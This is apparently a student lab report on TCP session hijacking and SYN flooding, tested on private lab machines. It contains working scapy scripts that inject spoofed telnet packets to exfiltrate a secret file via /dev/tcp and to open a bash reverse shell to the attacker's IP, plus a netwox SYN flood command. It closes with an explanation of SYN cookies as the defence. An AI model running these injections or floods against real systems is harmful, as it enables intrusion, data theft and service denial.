# FCN Project Report

Ivan Christian 1003056

# Setup:

Attacker Machine IP : 10.0.2.4
Server Machine IP : 10.0.2.5
Client MAchine IP : 10.0.2.6

# Task 1

## Preparation

To test the whether the setup is properly configured, a test python3 file will be run in order to check prepare the experiment for the .

### Client Machine (10.0.2.6)

telnet 10.0.2.5

This is done to test connection to the client machine to the server machine.

### Wireshark (in 10.0.2.4)


After Sending the data

Data being spoofed is the string 'HAIL YEAH'

### Attacker Machine (10.0.2.4)

import os
from scapy.all import *

'''
Attacker : 10.0.2.4
Server : 10.0.2.5
Client : 10.0.2.6
'''


# ENable IP forwarding 

# echo l > /proc/sys/net/ipv4/ip_forward

def main():
	print('Hello World')
	ip = IP(src="10.0.2.6",	dst = "10.0.2.5")
	tcp = TCP(sport=54104,dport=23,flags="A",seq = 2284483309,	ack=1188195377)

	data = 'HAIL YEAH'
	pkt = ip/tcp/data

	ls(pkt)
	send(pkt,verbose=0)
	print('Sent successful')
if __name__ == '__main__':
	main()


It is found that the following are the parameters.

source port : 54104
destination port : 23
sequence number : 2284483309.

The test and setup phase is sucessful

## Case 1: Steal File from server through TCP hijack

### Client machine

`telnet 10.0.2.5` is done to create a telnet connection. The user and password are inputted and the attacker gets the packet to be copied. This is done to get the `sport`,`dport`,`seq number` and `ack number` in order to spoof the packet.

### Server Machine

A secret file was created in order to proof that the connection has been hijacked when the attacker manage to hijack the telnet connection and steal the data when the packet is sniffed.

### Attacker Machine

Using scapy, a malicious command is launched to obtain the `secret` file and display it on the attacker machine. Given that the path to the secret file is known, the command to display (using cat) to the attacker machine is written as the following `'\n cat /home/seed/secret > /dev/tcp/10.0.2.4/9090\n'` --> This will show the content of the file and show that the attacker has managed to steal the necessary information.

import os 
from scapy.all import *

'''
Task 1 Case 1 : Steal data
'''

def main():
	ip = IP(src="10.0.2.6",	dst = "10.0.2.5")
	tcp = TCP(sport=54106,dport=23,flags="A",seq = 3346150660,	ack=2541929187)
	# display the contents of the secret file in the victim machine
	data = '\n cat /home/seed/secret > /dev/tcp/10.0.2.4/9090\n' 
	pkt = ip/tcp/data

	ls(pkt)
	send(pkt,verbose=0)
	print('Sent successful')
if __name__ == '__main__':
	main()

The following is the sequence number, acknowledgement numbers, and source port.

The following is the packets captured by wireshark. This is shown to be considered packet retransmission. Though the hijack is successful, the packet is considered to be a retransmission since the sequence, acknowledgement numbers are the same as the last packet sent by the client machine.

Observation: If an attacker knows the last packet that the client sent to the server, then it is possible for the attacker to hijack the connection and send the server malicious command. However, the result of the attack would cause the telnet connection to be closed as shown in the following screenshot.

The following is a screenshot taken from the attacker machine showing that the attack was successful.

## Case 2: TCP based reverse shell connection

Attacker Machine captures the data.


import os 
from scapy.all import *

'''
Task 1 Case 2 : Reverse Shell
'''

def main():
	ip = IP(src="10.0.2.6",	dst = "10.0.2.5")
	tcp = TCP(sport=54160,dport=23,flags="A",seq = 633016443,	ack=309895598)

	data = '\r /bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1\r' # create a reverse shell to a listening entity
	
	pkt = ip/tcp/data

	ls(pkt)
	send(pkt,verbose=0)
	print('Sent successful')
if __name__ == '__main__':
	main()

The connection from the attacker machine to the server machine through a reverse shell seem to be successful as a prelimary check of the ls commmand shows the files of the server machine instead of the attacker machine. Specific file only exist in the attacker machine is the `secret`, `secret.txt` and `server_task1.py`, Each of which were created specifically for the server machine, though 2 of them were of no use in the experiment.



Further proof that the attack is successful is shown in the following screenshot.


Running `ifconfig` command shows the ip address of the server machine (10.0.2.5) instead of the attacker machine (10.0.2.4).

# Task 2

Chosen Task is: SYN Flood Attack

To check for the max cache for the tcp syn backlog, the following command is executed.

Before any attack is launched, `netstat -na` returns the following after a telnet connection:


It can be seen that there is 1 established tcp connection from 10.0.2.6 connected to port 23. This is the current connection from the client machine. Currently, there are no syn flood attacks happening.

When syn cookie is not active:


Attacker attacks the server (victim) machine with a syn flood attack which can be seen from the packet sniffer. The command used is

sudo netwox 76 -i 10.0.2.5 -p 23 -s raw

(which basically calls out the netwox synflood tool):

This shows that using the netwox synflood tool, the attacker is able to continuously send out syn packets to the victim htrough random IP Addresses.

Server receives a `SYN_RECV` status from the attacker from different IPs


Client trying to connect to the server again.
The Screenshot shows that the client times out in trying to connect to the server. This is because the continuous barrage of syn packets create a state where the server drops the packet and doesn't allow for the client (our true machine) to be connected since server machine does not have the capacity to host the connection since it has received so many new connection from random IPs (though it is just randomly generated)

When syn cookie is active:


Attacker can still launch a syn flood attack as seen in the following:

However, it is limited to the cookies value (128 in this case).


Client can still connect when syn cookie is active without timing out. This is because the syn cookie feature prevents the syn flood attack. In particular, the use of SYN cookies allows a server to avoid dropping connections when the SYN queue fills up. This allows for the client (our true machine) to connect without the telnet packet being dropped.


The way SYN Cookies solves SYN Flood attack problem is to use a function that uses some information from the client’s SYN packet and some information from server-side to calculate a random initial sequence number. Let us assume this number as y-1, y-1 is sent to the client in an SYN + ACK message. If an ACK packet is received with a sequence number y, with the help of some packet header fields and some server-side information, a reverse function can verify that acknowledgement number is valid. If it is valid, a TCB is created and a connection is established. If it is invalid, the connection is refused. The advantage of SYN cookies is that the server doesn’t have to create and store a TCB upon reception of the SYN segment.